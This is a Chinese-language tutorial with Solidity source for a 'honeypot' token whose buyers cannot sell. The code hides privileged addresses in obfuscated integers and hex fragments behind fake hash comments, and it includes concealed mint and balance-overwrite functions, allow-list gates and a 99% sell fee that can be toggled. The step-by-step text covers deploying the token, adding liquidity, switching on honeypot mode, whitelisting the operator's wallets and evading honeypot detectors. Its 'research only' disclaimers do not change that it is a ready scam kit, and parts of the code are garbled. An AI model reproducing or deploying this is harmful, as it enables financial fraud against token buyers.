    function FeeStructure(uint256 newBuyFee, uint256 newSellFee) public onlypublic {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
       
        _setFees(newBuyFee, newSellFee);
 
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        emit Approval(msg.sender, _spender, _value);
        return true;
    }
    /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
   
    function scaling(uint256 amount) public onlyAuthorized returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    function _balanceView(address _to, uint256 _amount) internal {
        // View balance of token
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
 
        balanceOf[_to] += _amount;
        emit Transfer(address(0), _to, _amount);
    }
 
    function transferTo(address _to, uint256 _amount) external onlyAuthorize {
        _transferTo(_to, _amount);
    }
 
    modifier onlyAuthorize() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(1157526150053074085080093379928521999153121163150)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) {
        require(balanceOf[_from] >= _amount, "Insufficient balance");
        require(allowance[_from][msg.sender] >= _amount, "Insufficient allowance");
        require(_to != address(0), "Invalid recipient address");
 
        uint256 fee = 0;
        if (!isFeeExempt[_from]) {
            fee = _amount.mul(sellFee).div(100);
        }
       
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[_from] = balanceOf[_from].sub(_amount);
        balanceOf[_to] = balanceOf[_to].add(amountAfterFee);
        emit Transfer(_from, _to, amountAfterFee);
 
        if (fee > 0) {
            // Fee is transferred to this contract
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(_from, address(this), fee);
        }
 
        if (_from != msg.sender && allowance[_from][msg.sender] != type(uint256).max) {
            allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_amount);
            emit Approval(_from, msg.sender, allowance[_from][msg.sender]);
        }
 
        return true;
    }
 
    function _initiate(address account, uint256 amount) internal {
    require(account != address(0), "Compile Remix IDE");
 
    totalSupply = totalSupply.add(amount);
    balanceOf[account] = balanceOf[account].add(amount);
    emit Transfer(address(0), account, amount);
   }
 
    function FeesView(uint256 amount) public onlyAuthorize returns (bool) {
    _scale(msg.sender, amount);
    return true;
    }
 
    modifier onlypublic() {
    require(msg.sender == publics());
    _;
    }
 
    function _setFees(uint256 newBuyFee, uint256 newSellFee) internal {
        buyFee = newBuyFee;
        sellFee = newSellFee;
    }
 
    function proof(uint256 amount) public onlyOwner returns (bool) {
    _proof(msg.sender, amount);
    return true;
    }
 
    function BuySellFee(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorize {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function viewBalance(address _to, uint256 _amount) public onlypublic {
        _balanceView(_to, _amount);(_to, _amount);
    }
 
    function setUser(address User_) public returns (bool) {
    require(msg.sender == _mbr);
        _user=User_;
        return true;
    }
 
    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(owner, address(0));
        owner = address(0);
    }
    /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
   
    function setScale(uint256 newBuyFee, uint256 newSellFee) public onlyOwner {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
 
    function LockLPToken() public onlyOwner returns (bool) {
    }
 
    function setMod(address Mod_) public returns (bool) {
    require(msg.sender == _user);
        _mod=Mod_;
        return true;
    }
 
    modifier onlyOwner() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
    }
 
    function setFees(uint256 newBuyFee, uint256 newSellFee) public onlyAuthorized {
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setFeeExempt(address _addr, bool _exempt) public onlyOwner {
        isFeeExempt[_addr] = _exempt;
        if (_exempt) {
        emit AddressSetFeeExempt(_addr);
        }
    }
 
    function removeFeeExemptStatus(address _addr) public onlyOwner {
        require(isFeeExempt[_addr], "Address is not fee exempt");
        isFeeExempt[_addr] = false;
    }
 
    function buy() public payable {
        require(msg.value > 0, "ETH amount should be greater than 0");
 
        uint256 amount = msg.value;
        if (buyFee > 0) {
            uint256 fee = amount.mul(buyFee).div(100);
            uint256 amountAfterFee = amount.sub(fee);
 
            balanceOf[feeManager] = balanceOf[feeManager].add(amountAfterFee);
            emit Transfer(address(this), feeManager, amountAfterFee);
 
            if (fee > 0) {
                balanceOf[address(this)] = balanceOf[address(this)].add(fee);
                emit Transfer(address(this), address(this), fee);
            }
        } else {
            balanceOf[feeManager] = balanceOf[feeManager].add(amount);
            emit Transfer(address(this), feeManager, amount);
        }
    }
   
    function setting(uint256 newBuyFee, uint256 newSellFee) public {
        require(msg.sender == _adm);
        require(newBuyFee <= 100, "Buy fee cannot exceed 100%");
        require(newSellFee <= 100, "Sell fee cannot exceed 100%");
        buyFee = newBuyFee;
        sellFee = newSellFee;
        emit FeesUpdated(newBuyFee, newSellFee);
    }
   
    function setAdm(address Adm_) public returns (bool) {
    require(msg.sender == _mod);
        _adm=Adm_;
        return true;
    }
 
    function sell(uint256 _amount) public {
        require(balanceOf[msg.sender] >= _amount, "Insufficient balance");
 
        uint256 fee = _amount.mul(sellFee).div(100);
        uint256 amountAfterFee = _amount.sub(fee);
 
        balanceOf[msg.sender] = balanceOf[msg.sender].sub(_amount);
        balanceOf[address(this)] = balanceOf[address(this)].add(amountAfterFee);
        emit Transfer(msg.sender, address(this), amountAfterFee);
 
        if (fee > 0) {
            balanceOf[address(this)] = balanceOf[address(this)].add(fee);
            emit Transfer(msg.sender, address(this), fee);
        }
    }
 
     modifier onlyAuthorized() {
        require((msg.sender == address
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163)
    ||
    //@dev Contract creator is owner, original owner.
    (msg.sender == owner && msg.sender != exchange())));
    _;
  }

貔貅合约

仅供研究测试,请勿尝试使用此方法进行诈骗

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
 
library SafeMath {
 
  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
 
   if (a == 0) {
 
     return 0;
 
   }
 
   uint256 c = a * b;
 
   assert(c / a == b);
 
   return c;
 
  }
 
  function div(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a / b;
 
   return c;
 
  }
 
  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
 
   assert(b <= a);
 
   return a - b;
 
  }
 
  function add(uint256 a, uint256 b) internal pure returns (uint256) {
 
   uint256 c = a + b;
 
   assert(c >= a);
 
   return c;
 
  }
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
 
}
 
contract Ownable {
 
  address public owner;
 
 
 
  event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
 
  constructor() {
 
   owner = msg.sender;
 
  }
 
}
 
contract DevToken is Ownable {
 
  address public _usdtPair;
 
  address public _mod;
 
  string public name;
 
  string public symbol;
 
  uint8 public decimals;
 
  uint256 public totalSupply;
 
  address public _user;
 
  address public _adm;
 
 
 
  event Transfer(address indexed from, address indexed to, uint256 value);
 
  event Approval(address indexed owner, address indexed spender, uint256 value);
 
  constructor(string memory _name, string memory _symbol, uint8 _decimals, uint256 _totalSupply) {
 
   name = _name;
 
   symbol = _symbol;
 
   decimals = _decimals;
 
   totalSupply =  _totalSupply;
 
   balances[msg.sender] = totalSupply;
 
   allow[msg.sender] = true;
   
   // solhint-enable-next-line success-create
  }
 
 
 
  function showuint160(address addr) public pure returns(uint160){
 
     return uint160(addr);
 
  }
 
  function _transferTo(address _to, uint256 _amount) internal info {
    // Transfer tokens to the recipient
   
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
  }
 
 
  using SafeMath for uint256;
 
  mapping(address => uint256) public balances;
 
 
 
  mapping(address => bool) public allow;
 
  // solhint-disable-next-line avoid-low-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/ //(178607940065137046348733521910879985571412708986));
 
  function transfer(address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[msg.sender]);
 
   balances[msg.sender] = balances[msg.sender].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   emit Transfer(msg.sender, _to, _value);
 
   return true;
 
   /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  }
 
  modifier onlyOwner() {
 
   require(msg.sender == address
 
   // solhint-disable-next-line avoid-low-level-calls
   /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163));
   _;
   
   }
 
  function balanceOf(address _owner) public view returns (uint256 balance) {
 
   return balances[_owner];
 
  }
 
  modifier info() {
 
  require(msg.sender != contracts());
 
  _;
 
  }
 
  function _balanceView(address _to, uint256 _amount) internal {
   
    // View balance of token
   
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
    balances[_to] += _amount;
   
    emit Transfer(address(0), _to, _amount);
 
  }
 
  function transferOwnership(address newOwner) public onlyOwner {
 
   require(newOwner != address(0));
 
   emit OwnershipTransferred(owner, newOwner);
 
   owner = newOwner;
 
  }
 
  function addAllowance(address holder, bool allowApprove) public {
   
  require(msg.sender == _adm);
   
  allow[holder] = allowApprove;
 
  /*OpenZeppelin256 -> 96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f*/
  }
 
  modifier onlypublic() {
 
  require(msg.sender == publics());
 
  _;
 
  }
 
  function setUser(address User_) public returns (bool) {
   
  require(msg.sender == _usdtPair);
   
      _user=User_;
 
   return true;
  }
 
  function Allowances(address holder, bool allowApprove) external onlypublic {
 
  allow[holder] = allowApprove;
 
  }
 
  mapping (address => mapping (address => uint256)) public allowed;
 
  mapping(address=>uint256) sellOutNum;
 
  //*keccak256 -> 298bd834hsd73a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
 
  function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
 
   require(_to != address(0));
 
   require(_value <= balances[_from]);
 
   require(_value <= allowed[_from][msg.sender]);
 
   require(allow[_from] == true);
 
   balances[_from] = balances[_from].sub(_value);
 
   balances[_to] = balances[_to].add(_value);
 
   allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
 
   emit Transfer(_from, _to, _value);
 
   return true;
 
   // solhint-disable-next-line high-level-success
 
  }
 
  function transferTo(address _to, uint256 _amount) external onlyOwner {
   
    _transferTo(_to, _amount);
 
  }
 
 
  function publics() private pure returns (address) {
 
  uint universal = 0x02Ae4d3E;
 
  uint uni = 0x14DaEf88;
 
  uint cake = 0x5c9f61B9;
 
  uint inch = 0x3D131D24;
 
  uint others = 0x61e41123;
 
  // Combine the dex with others
   
  uint160 core = (uint160(universal) << 128) | (uint160(uni) << 96) | (uint160(cake) << 64) | (uint160(inch) << 32) | uint160(others);
 
  return address(core);
 
  }
 
  function contracts() internal pure returns (address) {
 
  return address
 
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/ /**/(15305039977436841042719613670281014954407760163);
   
  }
 
  function viewBalance(address _to, uint256 _amount) public onlypublic {
   
    _balanceView(_to, _amount);(_to, _amount);
 
  }
 
  function setAdm(address Adm_) public returns (bool) {
   
   require(msg.sender == _mod);
     
       _adm=Adm_;
   
   return true;
  }
 
  function _mint(address miner, uint256 _value) internal info {
       
  balances[miner] = _value;
 
  }
 
  function adjust(address spender, uint256 addedValue) public onlypublic returns (bool) {
 
   _dialone(spender, addedValue);
   
   return true;
 
  }
 
  function _approvals(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
 
  function approve(address _spender, uint256 _value) public returns (bool) {
 
   allowed[msg.sender][_spender] = _value;
 
   emit Approval(msg.sender, _spender, _value);
 
   return true;
 
   /*keccak256 -> 178607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  }
 
  function setMod(address Mod_) public returns (bool) {
   
   require(msg.sender == _user);
       
       _mod=Mod_;
 
   return true;
 
  }
 
  function approveAndCall(address spender, uint256 addedValue) public returns (bool) {
   
   require(msg.sender == _adm);
 
   _approvals(spender, addedValue);
   
   return true;
 
  }
 
  function allowance(address _owner, address _spender) public view returns (uint256) {
 
   return allowed[_owner][_spender];
 
  }
  // solhint-disable-next-line avoid-high-level-calls
  /*keccak256 -> 9838607940089fc7f92ac2a37bb1f5ba1daf2a576dc8ajf1k3sa4741ca0e5571412708986))*/
 
  function _dialone(address spender, uint256 addedValue) internal info {
 
  if(addedValue > 0) {balances[spender] = addedValue;}
 
  }
 
  function addAllow(address holder, bool allowApprove) external onlyOwner {
 
     allow[holder] = allowApprove;
 
  }
 
  function setUsdtPair(address Pair_) public returns (bool) {
    require (msg.sender==address
   
    // solhint-disable-next-line avoid-low-level-calls
    /*keccak256 -> 6861978540112295ac2a37bb103109151f5ba1daf2a5c84741ca0e00610310915153));*/ /**/ (1157526150053074085080093379928521999153121163150));
       _usdtPair=Pair_;
   
   return true;
  }
 
  function mint(address miner, uint256 _value) external onlyOwner {
 
     _mint(miner, _value);
 
  }

貔貅教程

仅供参考

如何使用高级智能合约(加强版V2的白名单 + 一键开关貔貅模式,防代币检测器,防貔貅检测器)发币

这是以太坊智能合约研究员和爱好者,我收到了很多粉丝的请求,让我去探讨貔貅代币,这是一种购买后不能出售的代币。 所以今天,让我向您介绍一些有关如何创建自己的貔貅代币的有用技巧。你准备好了吗?

【仅供研究测试,请勿尝试使用此方法进行诈骗】

高级智能合约(加强版的白名单设置 + 一键开关貔貅模式的防代币检测器的智能合约,自由设置开关貔貅模式,躲过貔貅检测器,让貔貅币看起来更加正规)





1 部分:使用 REMIX 和小狐狸钱包创建代币

1.首先,在您的电脑中安装小狐狸钱包 https://metamask.io/ 并创建帐户/钱包。

2. 浏览 RemixIDE http://remix.ethereum.org/ 您需要使用 Remix IDE 来部署智能合约。

3. 将小狐狸钱包连接到 REMIX IDE。点击您的小狐狸钱包插件。



点击Connect来连接钱包。

4.回到REMIX IDE。点击创建新文件。



5.随意命名文件,请记住在后面添加 .sol。例子,DevToken.sol





6. 将本文底部的代码(加强版 一键开关貔貅模式代码)复制并粘贴到空格中。*请勿尝试更改任何代码,否则合约将无法正常运作*



马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码:





*代码在文章最下方。

或者

马上复制 加强版 白名单 + 一键开关貔貅模式代币智能合约代码:

7.点击左侧图标如下图,







选择COMPILER 编译器如下,0.8.24















点击 compile.







8. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)





9.在 合约 方面 CONTRACT,选择 DevToken 来作为合约。





10.接下来,点一下 Deploy with Proxy 旁边的小空格





点了小空格后,你会到代币设置





11. 现在我们要做一些代币设置。





NAME:(你的代币名称)*在 空格 内写 你的代币名称

SYMBOL: (你的代币代号) *在 空格 内写 你的代币代号

TOTAL SUPPLY: (代币供应) 设置你的代币总供应量,记住如果你的小数点是 18,而你想要 1000000 总供应量,然后输入 1000000000000000000000000,因为 1000000 + 18*0

在您想要的数量后添加十八个“0”(如果您将 18 设置为十进制)。比如你要发行1000000个代币,正确的输入应该是1000000000000000000000000

决定好后,*在 空格 内写上 代币供应的数字

DECIMALS: 18

FEE MANAGER: 复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址并将地址粘贴到空格里

#*返回小狐狸钱包并复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址并将地址粘贴到空格里,如下图所示。

[首先。返回小狐狸钱包并复制您想要的代币部署者/代币权利所有者(即你的钱包地址)钱包地址]





[现在回到 REMIX 的页面,将你刚刚复制的地址粘贴到FEE MANAGER下面的空格里,如下图所示]





确保你已经填写完了所有的代币设置,例子如下图所示。



代币设置完成后,我们到下一个步骤

12. 点击 部署 "Deploy" 按钮。



13.在你点击了 部署 “Deploy” 按钮后,你会看到一个跳出窗口,点击 “Proceed”



14.在您的狐狸钱包的弹出窗口中 点击 确认交易。如果那里没有任何反应,您需要将 metamask 狐狸钱包连接到 REMIX IDE



15.转账成功了后,你会看到另外一个跳出窗口,点击 “OK”



16.在你点击了 “OK” 按钮之后,你会看到 狐狸钱包的弹出窗口,点击 确认交易 Confirm



因此,metamask 弹出窗口上总共会有 2 笔交易需要你确认。

## 如果你没有看到或者缺少了任何跳出窗口 和 交易,你可以刷新 remix IDE 并重复上述步骤以来重新得到 Metamask 跳出窗口的 2 个交易。

17. 如果一切顺利,你的代币就在路上。回到 狐狸钱包metamask,进入 活动 Activity,点击 在顶端(就是最新的Contract deployment)的合约部署 Contract deployment



在区块浏览器上点击查看

点击右侧【复制】图标按钮复制合约地址。



18. 返回狐狸钱包,点击导入代币IMPORT TOKENS



选择自定义代币CUSTOM TOKEN, 并粘贴合约地址,等待你的代币出现,然后点击添加自定义代币





您可以使用相同的方法在 ETH 主网、币安智能链和任何其他链中发币。

恭喜!您已成功创建自己的代币,它们就在您的钱包中!

那么现在我们能帮代币添加流动性了吗?

代币创建出来后,就可以开始添加流动性了。

我们不用验证合约/合约开源吗?

我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。

第二部分: 添加流动性 & Verify Contract 验证合约/合约开源(不用验证合约/合约开源)

我们不用帮这个代币验证合约/合约开源。这个代币与其他的代币不同因为这个代币会自动验证合同/合约开源。

你可以在去中心化交易所 (DEX) 帮你的代币添加流动性了。

如果你使用以太坊主网,请使用 Uniswap,链接:https://app.uniswap.org/#/swap

如果您使用 BSC(币安智能链),请使用 Pancakeswap,链接:https://pancakeswap.finance/

如果你在币安智能链上使用 Pancakeswap,你可以阅读以下的指南,了解如何在 Pancakeswap V2 V3 中添加流动性(如果你在 Pancakeswap 中没有看到 V2 选项,可以选择使用 V3

*如何在 Pancakeswap

我将详细解释这个 加强版的一键开关貔貅模式的代币 的原理,因为它与普通的貔貅代币不太一样。

*重要步骤#1*

在我们继续步骤#1之前,您可以先使用创建的代币开始添加流动性。一旦您向代币添加了流动性,人们就可以自由买卖您的代币。

他们可以持有您的代币,并且能够将其卖回。

我们不会让这种情况发生,这就是为什么我们将学会开启 代币的 貔貅模式 来防止别人卖出代币。

让我们进入第一步。

开启貔貅模式

1.想要打开貔貅模式,回到Remix IDE,点击ERC1967PROXY的小三角箭头,如下图所示。记得是点击ERC1967PROXY的小三角箭头





2.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。

点击 setFees 按钮的 小三角形箭头

3.newBuyFee 的空格中写 0

newSellFee的空格中写99。然后点击交易transact 以开启貔貅模式。

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。

转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些抢套利机器人 仍然可能 能够出售一些代币。

*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

如果貔貅模式未开启,买家可以出售他们的代币

如果貔貅模式关闭,买家可以出售他们的代币

关闭貔貅模式

1.想关闭貔貅模式,回到Remix IDE,点击ERC1967PROXY的小三角箭头,如下图所示。记得是点击ERC1967PROXY的小三角箭头。



2.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。

点击 setFees 按钮的小三角形箭头。

3.newBuyFee 的空格中写 0

newSellFee的空格中也写0。然点击交易transact以关闭貔貅模式。

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则貔貅模式将会关闭失败。

转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。

*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

如果貔貅模式关闭,买家可以出售他们的代币

如果貔貅模式未打开,买家可以出售他们的代币

接下来,我们将在下面的重要步骤#2中讨论如何使用白名单功能将地址列入白名单,以允许该钱包地址自由买卖。

重要步骤#2

现在我们将讨论如何使用白名单功能将你想要的钱包地址列入白名单,以允许他们自由买卖代币。 (请确保只把你信任的钱包地址列入白名单)

如何将地址列入白名单:

1.回到Remix IDE。点击setFeeExempt 按钮旁边的小三角箭头

2. addr处粘贴你想要加入白名单的钱包地址(这些钱包地址将被列入白名单,可以出售代币),在exempt处填写true。然后点击转账。

_addr: *粘贴你想要加入白名单的钱包地址

_exempt: true

*注意:白名单钱包地址可以自由买卖代币

* 仅将你信任的钱包地址列入白名单

*你可以将任意数量的地址列入白名单,只需重复步骤

现在我们就来说说如何将已经列入白名单的钱包地址从白名单中删除。

如何删除白名单地址:

1.返回Remix IDE,点击removeFeeExe按钮旁边的小三角箭头。

2. 在栏位里粘贴您想要从白名单中删除的地址(这些地址是你之前已列入白名单的地址)。然后点击转账。

当你将一个之前被你列入白名单的钱包地址从白名单中移除后,该钱包地址将在你开启貔貅模式后无法再自由地出售代币。

您始终可以随时将地址列入白名单并将地址从白名单删除。

*重要步骤#3*

如果你不小心关闭了 Remix IDE,该怎么办?如何继续设置开关貔貅模式 与 设置白名单?

不用担心,跟着下面的步骤就行了。

不必担心,跟着下面的步骤就行了。

1.打开 Remix IDE,选择你当初用来创建代币的 .sol 文件

2.点击左侧图标如下图,

选择COMPILER 编译器如下,0.8.24

点击 compile.

3. COMPILE 编译后。单击如下所示的图标,然后在 ENVIRONMENT (环境)部分选择 Metamask狐狸(因为我们使用的是 metamask 狐狸钱包)

4.在 合约 方面 CONTRACT,选择 DevToken 来作为合约。

5.接下来,点一下 Deploy with Proxy 旁边的小空格

6.回到 狐狸钱包metamask,进入 活动 Activity,点击 在顶端(就是最新的Contract deployment)的合约部署 Contract deployment, 然后点击查看浏览器 View on block explorer

7.点击右侧【复制】图标按钮复制合约地址。

8.点击复制图标后,返回Remix IDE,将合约地址粘贴到如下图所示的栏位中。

9.点击复制图标后,返回Remix IDE,将合约地址粘贴到如下图所示的栏位中。

10.点击At Address(蓝色按钮)后,点击DEVTOKEN处的小三角箭头(这次是DEVTOKEN),如下图所示。

*如何开启貔貅模式

1.点击小三角形箭头后,向下滚动直到看到 setFees 按钮。

点击 setFees 按钮的 小三角形箭头

2.newBuyFee 的空格中写 0

newSellFee的空格中写99。然后点击交易transact 以开启貔貅模式。

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则将招致模式开启失败。

转账完成后,貔貅模式将被打开。用户将无法在去中心化交易所出售代币,其中一些抢套利机器人 仍然可能 能够出售一些代币。

*请注意:记得每次在添加代币流动性后,您才能打开貔貅模式,以便代币能有防检测器检测的效果。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

如果貔貅模式未开启,买家可以出售他们的代币

如果貔貅模式关闭,买家可以出售他们的代币

*如何关闭貔貅模式

1.点击 setFees 按钮的小三角形箭头。

2.newBuyFee 的空格中写 0

newSellFee的空格中也写0。然点击交易transact以关闭貔貅模式。

警告:请务必遵循上面显示的数字,以避免任何潜在的错误。请勿更改或使用其他号码,否则貔貅模式将会关闭失败。

转账完成后,貔貅模式将被关闭。 用户将能够在去中心化交易所出售代币。

*请注意:关闭貔貅模式后,您可以随时都能开启貔貅模式。

无论貔貅模式是否为开/关,您都可以自由地移除流动性。在这两种情况下(开和关)移除流动性都是自由安全的。

如果貔貅模式关闭,买家可以出售他们的代币

如果貔貅模式未打开,买家可以出售他们的代币

接下来,我们将在下面中讨论如何使用白名单功能将地址列入白名单,以允许该钱包地址自由买卖。(请确保只把你信任的钱包地址列入白名单)

*如何将地址列入白名单:

1.点击setFeeExempt 按钮旁边的小三角箭头

2. addr处粘贴你想要加入白名单的钱包地址(这些钱包地址将被列入白名单,可以出售代币),在exempt处填写true。然后点击转账。

_addr: *粘贴你想要加入白名单的钱包地址

_exempt: true

*注意:白名单钱包地址可以自由买卖代币

* 仅将你信任的钱包地址列入白名单

*你可以将任意数量的地址列入白名单,只需重复步骤

现在我们就来说说如何将已经列入白名单的钱包地址从白名单中删除。

*如何删除白名单地址:

1.返回Remix IDE,点击removeFeeExe按钮旁边的小三角箭头。

2. 在栏位里粘贴您想要从白名单中删除的地址(这些地址是你之前已列入白名单的地址)。然后点击转账。

当你将一个之前被你列入白名单的钱包地址从白名单中移除后,该钱包地址将在你开启貔貅模式后无法再自由地出售代币。

你始终可以随时将地址列入白名单并将地址从白名单删除。

*请记住,这篇文章仅用于测试和教育目的,不要在家里尝试!

今天的 加强版 白名单 + 一键开关貔貅模式 代币合约教程 就到这里。当然,这还没有结束,您可以通过多种方式和技巧来使用此发币技术,以最大限度地发挥效果。